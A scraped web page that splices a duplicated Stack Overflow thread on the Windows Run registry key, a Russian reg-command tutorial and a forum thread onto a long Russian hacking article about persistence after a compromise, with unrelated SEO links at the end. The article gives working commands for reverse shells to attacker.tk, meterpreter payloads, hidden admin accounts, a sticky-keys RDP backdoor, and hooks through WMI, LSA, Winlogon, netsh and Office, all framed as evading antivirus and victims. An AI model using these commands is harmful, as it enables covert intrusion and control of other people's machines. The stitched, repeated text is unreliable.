Reg add hkcu software microsoft windows currentversion run

i have a program that needs to be started when windows starts. I have created a string value in registry HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
For this application starts at startup but it shows an UAC prompt. Normally my application does not need UAC promt to start. If i make a shortcut in startup folder then it works perfectly without UAC but the the problem is i need to start it from registry. and sorry that i also cannot use task scheduler. Do anyone have an idea how to do it?

asked Jul 28, 2013 at 13:39

p2013's user avatar

You can always start it for a single user, this command can be run by a normal user, and will enable the application on startup for just that user.

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "My App" /t REG_SZ /F /D "C:\MyAppPath\MyApp.exe"

You cannot add something to the local machine run registry key without at some point running something as Administrator.

Even task scheduler option would require something to run as admin to add the task in.

ST3's user avatar

ST3

8,8263 gold badges68 silver badges92 bronze badges

answered Jul 29, 2013 at 5:56

SmithMart's user avatar

SmithMartSmithMart

2,76119 silver badges36 bronze badges

3

I had trouble finding the registry entry for the user created afterwards so I also did

wmic useraccount where (name='user.user') get name,sid

or

reg query HKU

then

reg query HKU\SID\software\Microsoft\Windows\Currentversion\Run /v "MyApp"

in order to delete

reg delete HKU\SID\software\Microsoft\Windows\Currentversion\Run /v "MyApp" /f

answered Jul 19, 2022 at 12:47

Stigmatas's user avatar

i have a program that needs to be started when windows starts. I have created a string value in registry HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
For this application starts at startup but it shows an UAC prompt. Normally my application does not need UAC promt to start. If i make a shortcut in startup folder then it works perfectly without UAC but the the problem is i need to start it from registry. and sorry that i also cannot use task scheduler. Do anyone have an idea how to do it?

asked Jul 28, 2013 at 13:39

p2013's user avatar

You can always start it for a single user, this command can be run by a normal user, and will enable the application on startup for just that user.

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "My App" /t REG_SZ /F /D "C:\MyAppPath\MyApp.exe"

You cannot add something to the local machine run registry key without at some point running something as Administrator.

Even task scheduler option would require something to run as admin to add the task in.

ST3's user avatar

ST3

8,8263 gold badges68 silver badges92 bronze badges

answered Jul 29, 2013 at 5:56

SmithMart's user avatar

SmithMartSmithMart

2,76119 silver badges36 bronze badges

3

I had trouble finding the registry entry for the user created afterwards so I also did

wmic useraccount where (name='user.user') get name,sid

or

reg query HKU

then

reg query HKU\SID\software\Microsoft\Windows\Currentversion\Run /v "MyApp"

in order to delete

reg delete HKU\SID\software\Microsoft\Windows\Currentversion\Run /v "MyApp" /f

answered Jul 19, 2022 at 12:47

Stigmatas's user avatar

Обновлено Обновлено:
Опубликовано Опубликовано:

Что такое реестр Windows простыми словами.

Большинство команд лучше выполнять, запустив командную строку от имени администратора. Для этого найдите ее по ключу cmd — кликните по файлу правой кнопкой мыши — выберите Запустить от имени администратора. Или в Windows 10 правой кнопкой по ПускКомандная строка (администратор).

Чтение данных
Добавление параметров
Удаление
Редактирование
Импорт
Описание всех команд

Выборка (query)

reg query HKLM\Software\Microsoft

* в данном примере будет выведен на экран список веток, которые находятся в HKLM\Software\Microsoft

Если в пути встречается пробел, необходимо весь путь поместить в кавычки, например:

reg query «HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings»

Чтобы вывести все вложенные ветки, запускаем команду с параметром /s:

reg query «HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings» /s

Добавление (add)

Синтаксис:

reg add <Ключ> /v <Параметр> /t <Тип> /d <Значение>

Например, добавим настройки использования прокси-сервера для браузера Internet Explorer:

reg add «HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings» /v ProxyEnable /t REG_DWORD /d 1

reg add «HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings» /v ProxyServer /t REG_SZ /d «192.168.0.15:3128»

reg add «HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings» /v ProxyOverride /t REG_SZ /d «<local>»

* где первая команда включает использование прокси-сервера; вторая прописывает использовать прокси с IP-адресом 192.168.0.15 и портом 3128; третья указывает не использовать прокси для локальных адресов.

Удаление (delete)

Синтаксис:

reg delete <Ключ> /v <Параметр>

Например, чтобы удалить одну из ранее созданной настройки, вводим следующую команду:

reg delete «HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings» /v ProxyEnable /f

Чтобы удалить всю ветку с ее параметрами и значениями, вводим такую команду:

reg delete «HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings» /va /f

Редактирование

Для редактирования значения нужно выполнить команду на добавление. Если ключ уже существует, команда заменить значение на новое:

reg add «HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings» /v ProxyEnable /t REG_DWORD /d 0 /f

* в данном примере будет изменено значение ключа ProxyEnable на 0 (или создан с таким значением); ключ f указывает на замену значения без вывода подтверждения.

Импорт

Во многих случаях проще выполнить импорт из файла, кликнув по нему дважды. Но, иногда необходимо выполнить импорт из командной строки:

reg import <путь к файлу>

Например:

reg import C:\Temp\import_proxy_settings.reg

* в данном примере мы импортировали настройки из файла import_proxy_settings.reg, который находится в каталоге C:\Temp\.

Краткое описание всех операций

В данной таблице приведены все возможные операции над коандой REG.

Операция Описание
REG QUERY Делает выборку ключей, параметров и значений
REG ADD Добавляет новую запись (параметр, ключ, значение)
REG DELETE Удаляет одну или несколько записей
REG COPY Копирует данные из одной ветки в другую
REG SAVE Сохраняет ветку со всеми параметрами и значениями в файл
REG RESTORE Восстанавливает ветку и данные из файла
REG LOAD Загружает данные в указанную ветку
REG UNLOAD Выгружает данные из указанной ветки
REG COMPARE Сравнивает две ветки
REG EXPORT Экспортирует все подразделы и параметры в файл .reg
REG IMPORT Импортирует все подразделы и параметры из файла .reg
REG FLAGS Показывает и устанавливает флаги для ветки

Подробное описание всех ключей можно увидеть, введя команду reg <операция> /?
Например: reg add /?

Дмитрий Моск — частный мастер

Была ли полезна вам эта инструкция?

Да            Нет

мастер ломания компов

30 / 36 / 1

Регистрация: 19.12.2011

Сообщений: 474

Записей в блоге: 1

1

Добавление файла в автозагрузку через реестр

05.10.2015, 21:59. Показов 17765. Ответов 5


Студворк — интернет-сервис помощи студентам

Впринципе, из названия темы уже понятна суть проблемы. Но есть одно но. Необходимо не просто тупо добавить файл в папочку «автозагрузка», а как то сделать это через реестр. Как? Я хз. В этом мне и нужна Ваша помощь. И еще проблема в том, что мне надо сей метод узнать на XP,7-орке и 8-орке. Смогете помочь?



0



10574 / 5538 / 864

Регистрация: 07.04.2013

Сообщений: 15,660

05.10.2015, 22:08

2

Лучший ответ Сообщение было отмечено verbenin как решение

Решение

Для текущего юзера. Права администратора не требуются

Windows Batch file

reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "AnyName" /d "C:\Program Files\AnyProgram\Program.exe"

Для всех юзеров. Соответственно права админа требуются

Windows Batch file

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "AnyName" /d "C:\Program Files\AnyProgram\Program.exe"



1



мастер ломания компов

30 / 36 / 1

Регистрация: 19.12.2011

Сообщений: 474

Записей в блоге: 1

05.10.2015, 22:45

 [ТС]

3

Скажите, это работает и на 7, и на 8, и на хр?



0



10574 / 5538 / 864

Регистрация: 07.04.2013

Сообщений: 15,660

05.10.2015, 22:46

4

Да.



0



мастер ломания компов

30 / 36 / 1

Регистрация: 19.12.2011

Сообщений: 474

Записей в блоге: 1

05.10.2015, 22:47

 [ТС]

5

Большое. Чисто человеческое. Спасибо.



0



0 / 0 / 0

Регистрация: 17.03.2023

Сообщений: 2

29.04.2023, 10:15

6

vavun, при таком способе windows просит убедиться в безопасности и не рекомендует продолжать. Говорит могут быть непоправимые ошибки



0



persistence

Содержание

  • 1 Шелл
  • 2 Автозагрузка
  • 3 Сервисы
  • 4 Задачи
  • 5 In-memory
  • 6 Конфиги
  • 7 Особые приемы в Linux
    • 7.1 LD_PRELOAD
    • 7.2 rc.local
  • 8 Особые приемы в Windows
    • 8.1 Дебаггер
    • 8.2 Gflags
    • 8.3 WMI
    • 8.4 AppInit
    • 8.5 Lsass
    • 8.6 Winlogon
    • 8.7 Netsh
    • 8.8 Office
  • 9 Выводы

Сегодняшнее статья посвящена Persistence. Мы рассмотрим основные и наибо­лее популяр­ные способы, которые поз­воля­ют про­писать­ся в сис­теме после взлома — скрыт­но или не очень. Все рассматриваемые в статье способы по боль­шей час­ти не зависят от вер­сии и кон­фигура­ции ОС и лег­ко реали­зуемы.

Еще по теме: Как пользоваться Metasploit Framework

Итак, начнем. Ког­да хакер получил шелл на хос­те, пер­вое, что нужно сде­лать, — это обес­печить себе «пос­тоянс­тво» (persistence) в сис­теме. Ведь во большинстве слу­чаев на RCE может быть лишь одна попыт­ка, а зна­чит, нельзя потерять дос­туп из‑за каких‑нибудь ошибок.

Есть различные спо­собы орга­низо­вать воз­можность пос­тоян­ного при­сутс­твия Persistence, у каж­дого свои дос­тоинс­тва и недос­татки:

  • за­писать что‑либо на HDD:

    • плюс: пережи­вет перезаг­рузку;
    • ми­нусы: замет­но для челове­ка, замет­но для анти­виру­са;
  • внед­рить код в RAM:

    • плюс: незамет­но для челове­ка;
    • ми­нусы: не пережи­вет перезаг­рузку, может быть замет­но для анти­виру­са;
  • из­менить кон­фигура­цию ОС:

    • плю­сы: незамет­но для анти­виру­са, пережи­вет перезаг­рузку;
    • ми­нус: может быть замет­но для челове­ка.

Ча­ще все­го при зак­репле­нии в сис­теме все же при­ходит­ся обра­щать­ся к дис­ку, пос­коль­ку это единс­твен­ный спо­соб не вылететь из‑за слу­чай­ной перезаг­рузки. В общем слу­чае успешность такой пер­систен­тнос­ти зависит от двух фак­торов:

  • нас­коль­ко скрыт­но от поль­зовате­ля про­писан запуск бэк­дора;
  • нас­коль­ко безобид­но для анти­виру­са тело бэк­дора.

Оче­вид­но, что с точ­ки зре­ния зак­репле­ния Linux — более при­ори­тет­ная сис­тема. Компь­юте­ры с ним, как пра­вило, ред­ко обслу­жива­ются поль­зовате­лями и не перезаг­ружа­ются месяца­ми. Да и как точ­ка опо­ры они под­ходят боль­ше. Хос­ты под управле­нием Linux удоб­ны еще и потому, что они ред­ко защище­ны анти­виру­сом, а анти­вирус для пер­систен­тнос­ти — это ощу­тимая проб­лема.

В свою оче­редь, в Windows боль­ше вари­антов авто­заг­рузки, что может помочь луч­ше замас­кировать­ся в ее нед­рах. Ведь, в отли­чие от про­ник­новения в Linux, нам поч­ти всег­да при­дет­ся работать рядом с поль­зовате­лем, опыт­ным или не очень.

Если име­ете дело не с одной целью, а с целой груп­пой, весь­ма удоб­но исполь­зовать для машины ата­кующе­го домен­ное имя, а не IP. Тог­да для каж­дой жер­твы или груп­пы жертв мож­но будет задать свое уни­каль­ное имя в DNS-зоне ата­кующе­го (далее в при­мерах — attacker.tk). Это поз­воля­ет эффектив­нее управлять жер­тва­ми. Выг­лядит это при­мер­но так.

Persistence dns

Ес­ли анти­виру­сы не глав­ная проб­лема, то в качес­тве reverse shell час­то мож­но исполь­зовать прос­тые nc.exe, ncat.exe и socat.exe. Все они обла­дают воз­можнос­тями RAT и зачас­тую нор­маль­но про­ходят анти­вирус. Пос­коль­ку это прог­раммы, работа­ющие из коман­дной стро­ки, мож­но сде­лать их запуск на машине жер­твы незамет­ным. В Windows для это­го дос­таточ­но поменять subsystem у исполня­емо­го фай­ла:

pe header optional header nt fields subsystem GUI (0x0002)

Опи­сан­ные далее при­меры помогут не толь­ко при зак­репле­нии на машине жер­твы, но и для выяв­ления фак­тов ком­про­мета­ции.

Ана­лиз эле­мен­тов авто­заг­рузки — это час­то поиск игол­ки в сто­ге сена. Обыч­но при­ходит­ся судить по наз­ванию исполня­емо­го фай­ла, тому, где он находит­ся (в пра­виль­ных мес­тах или где‑то в про­филе поль­зовате­ля), а так­же по наз­ванию и опи­санию ком­пании‑раз­работ­чика, зашитым внут­ри фай­ла. Впро­чем, нич­то не меша­ет ата­кующе­му под­делать эти дан­ные.

Ан­тивиру­сы же, как пра­вило, не уда­ляют записи в спис­ках авто­заг­рузки, а уда­ляют сами исполня­емые фай­лы. Поэто­му битая ссыл­ка в авто­заг­рузке — тре­вож­ный сиг­нал.

Во мно­гих слу­чаях для пер­систен­тнос­ти могут пот­ребовать­ся пра­ва адми­нис­тра­тора. Это тоже может стать проб­лемой, ведь далеко не каж­дый шелл обла­дает нуж­ными при­виле­гиями. Поэто­му в каж­дом при­мере я буду помечать сим­волом
$ ввод неп­ривиле­гиро­ван­ного поль­зовате­ля, а 
# — адми­нис­тра­тора. Для обна­руже­ния будем исполь­зовать ути­литу Autoruns, резуль­таты вы можете наб­людать на скрин­шотах.

Шелл

Ор­ганизо­вать пер­систен­тность мож­но пря­мо из коман­дной стро­ки. Что­бы шелл откры­вал­ся всег­да, исполь­зуем коман­ду с бес­конеч­ным цик­лом, ухо­дящую в фон.

Windows

Вот как это работа­ет в Windows:

cmd$> start cmd /C «for /L %n in (1,0,10) do ( nc.exe attacker.tk 8888 -e cmd.exe & ping -n 60 127.0.0.1 )»

Linux

bash$> ( bash c «while :; do bash -i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done»; )&

bash$> nohup bash -c «while :; do bash i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done« &

  • Плю­сы: управля­емый интервал запус­ка, подой­дет любой поль­зователь.
  • Ми­нус: не пережи­вет перезаг­рузку.

Persistence Шелл

Автозагрузка

Го­воря о пер­систен­тнос­ти, нель­зя прой­ти мимо клас­сичес­кой и всем извес­тной авто­заг­рузки. Ее пре­иму­щес­тво в том, что она будет работать с пра­вами любого, даже неад­минис­тра­тив­ного поль­зовате­ля.

Windows

cmd$> copy meter.exe %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

cmd$> reg add «HKCU\Software\Microsoft\Windows\CurrentVersion\Run» /v persistence /t REG_SZ /d «C:\users\username\meter.exe»

cmd#> copy meter.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\

cmd#> reg add «HKLM\Software\Microsoft\Windows\CurrentVersion\Run» /v persistence /t REG_SZ /d «C:\Windows\system32\meter.exe»

Linux

bash$> echo «nc attacker.tk 8888 -e /bin/bash 2>/dev/null &» >> ~/.bashrc

  • Плю­сы: пережи­вает перезаг­рузку, подой­дет любой поль­зователь.
  • Ми­нус: неуп­равля­емый интервал запус­ка.

Persistence Автозагрузка

Сервисы

Ис­поль­зовать служ­бу для зак­репле­ния более выгод­но, чем авто­заг­рузку, так как Service Manager будет сам переза­пус­кать служ­бу, если пот­ребу­ется.

Для Windows соз­дание служ­бы пот­ребу­ет пра­ва адми­нис­тра­тора.

cmd#> sc create persistence binPath= «nc.exe -e \windows\system32\cmd.exe attacker.tk 8888» start= auto

cmd#> sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000

cmd#> sc start persistence

В Linux соз­дать служ­бу мож­но и с учет­ки прос­того поль­зовате­ля. Вот вари­анты для рута и для прос­того поль­зовате­ля.

bash#> vim /etc/systemd/system/persistence.service

bash$> vim ~/.config/systemd/user/persistence.service

Со­дер­жимое фай­ла:

[Unit]

Description=persistence

[Service]

ExecStart=/bin/bash c ‘bash -i >& /dev/tcp/attacker.tk/8888 0>&1’

Restart=always

RestartSec=60

[Install]

WantedBy=default.target

И запус­каем соз­данную служ­бу:

bash#> systemctl enable persistence.service

bash#> systemctl start persistence.service

bash$> systemctl user enable persistence.service

bash$> systemctl user start persistence.service

  • Плю­сы: пережи­вает перезаг­рузку, управля­емый интервал запус­ка, под­ходит любой поль­зователь.
  • Ми­нус: необ­ходимы пра­ва адми­нис­тра­тора.

Persistence Сервисы

Задачи

Соз­дание зап­ланиро­ван­ной задачи — весь­ма удоб­ный спо­соб под­держа­ния дос­тупа. Заод­но мож­но задать вре­мя и интервал запус­ка. Но делать это раз­решено, как пра­вило, толь­ко при­виле­гиро­ван­ным поль­зовате­лям.

Windows

cmd#> at 13:37 \temp\nc.exe -e \windows\system32\cmd.exe attacker.tk 8888

cmd#> schtasks /create /ru SYSTEM /sc MINUTE /MO 1 /tn persistence /tr «c:\temp\nc.exe -e c:\windows\system32\cmd.exe attacker.tk 8888»

Linux

bash#> echo «* * * * * bash -i >& /dev/tcp/attacker.tk/8888 0>&1» >> /var/spool/cron/root

bash#> echo $’SHELL=/bin/bash\n* * * * * root bash -i >& /dev/tcp/attacker.tk/8888 0>&1\n’> /etc/cron.d/pwn

  • Плю­сы: пережи­вает перезаг­рузку, управля­емый интервал запус­ка.
  • Ми­нус: нуж­ны пра­ва адми­нис­тра­тора/root.

Persistence Windows

In-memory

Внед­рение бэк­дора, который будет висеть в опе­ратив­ный памяти, име­ет смысл, если нуж­но зак­репить­ся на целевой машине, не оставляя никаких сле­дов. Анти­виру­сы обыч­но сла­бо кон­тро­лиру­ют деятель­ность в памяти, пос­коль­ку это соп­ряжено с боль­шим допол­нитель­ным рас­ходом ресур­сов. Даже опыт­ный поль­зователь вряд ли заметит что‑то, что скры­то внут­ри легаль­ного про­цес­са.

В качес­тве in-memory-бэк­дора мы будем исполь­зовать meterpreter. Это, пожалуй, самый извес­тный RAT, спо­соб­ный работать исклю­читель­но в памяти, не тро­гая при этом диск.

Windows

msfvenom p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 f raw o meter32.bin exitfunc=thread StagerRetryCount=999999

cmd$> inject_windows.exe PID meter32.bin

Linux

msfvenom p linux/x86/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 f raw o meter32.bin exitfunc=thread StagerRetryCount=999999

bash$> inject_linux PID meter32.bin

Внед­рить код мы можем не толь­ко в натив­ные про­цес­сы, но и в интер­пре­тиру­емые, нап­ример интер­пре­тато­ром Python:

msfvenom p python/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 o meter.py exitfunc=thread StagerRetryCount=999999

$> pyrasite 12345 meter.py

За мак­сималь­ную скрыт­ность пла­тим потерей пер­систен­тнос­ти пос­ле перезаг­рузки.

  • Плю­сы: подой­дет любой поль­зователь, труд­но обна­ружить челове­ку.
  • Ми­нусы: не пережи­вает перезаг­рузку.

Persistence память

Пос­коль­ку вре­донос­ный поток запус­кает­ся вне какой‑либо биб­лиоте­ки, Procexp час­то показы­вает такой поток как запущен­ный от нулево­го адре­са.

Конфиги

Ор­ганиза­ция пер­систен­тнос­ти через изме­нение кон­фигура­ции ОС — отличный спо­соб спря­тать­ся от анти­виру­са. Это единс­твен­ный слу­чай, ког­да мы не исполь­зуем вооб­ще никакой исполня­емый код. Но при­мени­мо это, толь­ко если у нас есть пря­мой дос­туп к целевой машине.

Соз­дание скры­того поль­зовате­ля, от име­ни которо­го мож­но будет потом получить уда­лен­ный дос­туп, — это, пожалуй, самый извес­тный вари­ант такой ата­ки.

Windows

cmd#> net user attacker p@ssw0rd /add

cmd#> net localgroup administrators /add attacker

cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList» /v attacker /t REG_DWORD /d 0 /f

Linux

bash#> openssl passwd -1 -salt test

bash#> echo ‘post:$1$test$pi/xDtU5WFVRqYS6BMU8X/:0:0::/:/bin/bash’ >> /etc/passwd

Прос­тое и эффектив­ное внед­рение зак­ладки в Windows через RDP:

cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe» /v Debugger /t reg_sz /d «\windows\system32\cmd.exe»

cmd#> reg add «HKLM\system\currentcontrolset\control\Terminal Server\WinStations\RDP-Tcp» /v UserAuthentication /t REG_DWORD /d 0x0 /f

  • Плю­сы: труд­но обна­ружить анти­виру­сом, пережи­вает перезаг­рузку.
  • Ми­нусы: тре­бует пра­ва адми­нис­тра­тора/root, не под­ходит, если машина за NAT или фай­рво­лом.

Persistence rdp Windows

Особые приемы в Linux

Вот мы и доб­рались до трю­ков, которые сра­бота­ют толь­ко в опре­делен­ной ОС. Нач­нем с Linux.

LD_PRELOAD

В Linux для того, что­бы в каж­дый запус­каемый про­цесс под­гру­жал­ся нуж­ный нам код, мож­но исполь­зовать перемен­ную LD_PRELOAD:

bash#> echo /path/to/meter.so >> /etc/ld.so.preload

bash#> echo export LD_PRELOAD=/path/to/meter.so >> /etc/profile

bash$> echo export LD_PRELOAD=/path/to/meter.so >> ~/.bashrc

  • Плю­сы: пережи­вает перезаг­рузку, подой­дет любой поль­зователь.
  • Ми­нус: неуп­равля­емый интервал запус­ка.

rc.local

Один раз пос­ле перезаг­рузки мы можем выпол­нить коман­ды в rc.local.

bash#> echo «nc attacker.tk 8888 -e /bin/bash &» >> /etc/rc.local

  • Плюс: пережи­вает перезаг­рузку.
  • Ми­нусы: неуп­равля­емый интервал запус­ка, нуж­ны пра­ва root.

Особые приемы в Windows

Здесь у нас будет боль­ше инте­рес­ных трю­ков!

Дебаггер

Ес­ли ата­кующий зна­ет, что ата­куемый поль­зователь час­то запус­кает какую‑то прог­рамму, ска­жем каль­кулятор, то он может внед­рить свой код в тело этой прог­раммы с помощью джой­нера. Одна­ко вся­кое вме­шатель­ство в исполня­емые фай­лы неумо­лимо повыша­ет уро­вень недове­рия к ним со сто­роны анти­виру­са. Куда более изящ­ным исполне­нием будет перех­ват запус­ка:

cmd#> copy calc.exe _calc.exe

cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe» /v Debugger /t reg_sz /d «cmd /C _calc.exe & c:\windows\nc.exe -e c:\windows\system32\cmd.exe attacker.tk 8888» /f

Как толь­ко victim запус­тит, а затем зак­роет каль­кулятор, ата­кующий при­мет reverse shell.

  • Плюс: пережи­вает перезаг­рузку.
  • Ми­нус: тре­бует пра­ва адми­нис­тра­тора.

Persistence debug Windows

Gflags

Поч­ти таким же обра­зом мож­но орга­низо­вать запуск сво­его кода, ког­да поль­зователь зак­рыва­ет опре­делен­ную прог­рамму.

cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe» /v GlobalFlag /t REG_DWORD /d 512

cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe» /v ReportingMode /t REG_DWORD /d 1

cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe» /v MonitorProcess /d «nc -e \windows\system32\cmd.exe attacker.tk 8888»

  • Плюс: пережи­вает перезаг­рузку.
  • Ми­нус: тре­бует пра­ва адми­нис­тра­тора.

Autoruns этот спо­соб не обна­ружи­вает, но вы можете про­верить вет­ку реес­тра:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit

WMI

cmd#> wmic /NAMESPACE:»\\root\subscription» PATH __EventFilter CREATE Name=»persistence», EventNameSpace=»root\cimv2″,QueryLanguage=»WQL», Query=»SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System'»

cmd#> wmic /NAMESPACE:»\\root\subscription» PATH CommandLineEventConsumer CREATE Name=»persistence», ExecutablePath=»C:\users\admin\meter.exe»,CommandLineTemplate=»C:\users\admin\meter.exe»

cmd#> wmic /NAMESPACE:»\\root\subscription» PATH __FilterToConsumerBinding CREATE Filter=»__EventFilter.Name=»persistence»», Consumer=»CommandLineEventConsumer.Name=»persistence»»

  • Плю­сы: пережи­вает перезаг­рузку, управля­емый интервал запус­ка.
  • Ми­нус: тре­бует пра­ва адми­нис­тра­тора.

Persistence WMI

AppInit

В Windows есть инте­рес­ный спо­соб внед­рения биб­лиотек в окон­ные при­ложе­ния с помощью AppInit (они дол­жны исполь­зовать user32.dll).

cmd#> reg add «HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows» /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f

cmd#> reg add «HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows» /v AppInit_DLLs /t reg_sz /d «c:\path\to\meter64.dll» /f

cmd#> reg add «HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows» /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f

cmd#> reg add «HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows» /v AppInit_DLLs /t reg_sz /d «c:\path\to\meter32.dll» /f

  • Плюс: пережи­вает перезаг­рузку.
  • Ми­нусы: тре­бует пра­ва адми­нис­тра­тора, неуп­равля­емый интервал запус­ка.

Persistence AppInit

Lsass

Еще одна воз­можность — про­писать биб­лиоте­ку в сис­темном про­цес­се lsass. Это дос­таточ­но выгод­ное мес­то, пос­коль­ку в дан­ном про­цес­се хра­нят­ся те самые учет­ные записи, которые мы извле­каем ути­литой mimikatz.

cmd#> reg add «HKLM\system\currentcontrolset\control\lsa» /v «Notification Packages» /t reg_multi_sz /d «rassfm\0scecli\0meter» /f

  • Плюс: пережи­вает перезаг­рузку.
  • Ми­нусы: тре­буют­ся пра­ва адми­нис­тра­тора, неуп­равля­емый интервал запус­ка, мож­но убить сис­тему.

Persistence Lsass

Winlogon

Что­бы каж­дый раз, как кто‑то из поль­зовате­лей вхо­дит в сис­тему, откры­вал­ся шелл, мож­но исполь­зовать механизм Winlogon.

cmd#> reg add «HKLM\software\microsoft\windows nt\currentversion\winlogon» /v UserInit /t reg_sz /d «c:\windows\system32\userinit.exe,c:\windows\meter.exe»

  • Плюс: пережи­вает перезаг­рузку.
  • Ми­нус: неуп­равля­емый интервал запус­ка.

Persistence Winlogon

Netsh

Ути­лита нас­трой­ки сети Netsh тоже поз­воля­ет под­гру­жать про­изволь­ную биб­лиоте­ку. Это откры­вает воз­можность орга­низо­вать через нее импро­визи­рован­ную авто­заг­рузку. Резуль­тат будет выг­лядеть безобид­но, так как пер­воначаль­но вызыва­ется сис­темный ком­понент Windows.

cmd#> c:\windows\syswow64\netsh.exe

netsh> add helper c:\windows\meter32.dll

cmd#> reg add «HKLM\Software\Microsoft\Windows\CurrentVersion\Run» /v persistence /t REG_SZ /d «C:\Windows\SysWOW64\netsh.exe»

В ито­ге получа­ем такую цепоч­ку: autorun → netsh.exe → meter.dll.

При этом meter.dll будет скрыт от глаз поль­зовате­ля — он уви­дит лишь запуск легитим­ной Netsh, род­ной ком­понент Windows.

  • Плю­сы: пережи­вает перезаг­рузку, слож­но обна­ружить поль­зовате­лю.
  • Ми­нус: тре­бует пра­ва адми­нис­тра­тора.

Persistence Netsh

Office

Этот спо­соб подой­дет, если ата­куемый поль­зователь час­то работа­ет с офис­ным пакетом. Не такая уж ред­кость!

cmd$> reg add «HKCU\Software\Microsoft\Office test\Special\Perf» /t REG_SZ /d C:\users\username\meter.dll

  • Плю­сы: пережи­вает перезаг­рузку, подой­дет любой поль­зователь.
  • Ми­нус: неуп­равля­емый интервал запус­ка.

Persistence Office

Выводы

Мы рас­смот­рели основные и наибо­лее популяр­ные вари­анты Persistence. Они по боль­шей час­ти не зависят от вер­сии и кон­фигура­ции ОС и лег­ко реали­зуемы. Уни­вер­саль­ного спо­соба нет (ина­че обна­руже­ние было бы слиш­ком прос­тым!), и у каж­дого есть дос­тоинс­тва и недос­татки. При выборе наша цель — сба­лан­сировать надеж­ность и скрыт­ность.

Этим спис­ком выбор, конеч­но же, не огра­ничи­вает­ся, и все в конеч­ном сче­те зависит толь­ко от вашей фан­тазии и изоб­ретатель­нос­ти. В Windows хороший помощ­ник в поис­ке новых воз­можнос­тей для зак­репле­ния — все та же ути­лита Autoruns.

Од­нако выгод­но рас­положен­ная в сис­теме ссыл­ка на бэк­дор — это еще не все. О том, какой исполня­емый файл для это­го исполь­зовать и как при этом эффектив­но обой­ти анти­вирус, я рас­ска­жу в сле­дующей сво­ей статье.

  • Redis on windows что это
  • Recovery your pc needs to be repaired windows 0xc0000098
  • Reg add hklm software microsoft windows currentversion policies system
  • Red organizer скачать бесплатно для windows 10 c ключом через торрент
  • Red alert 2 фикс черного экрана в windows 10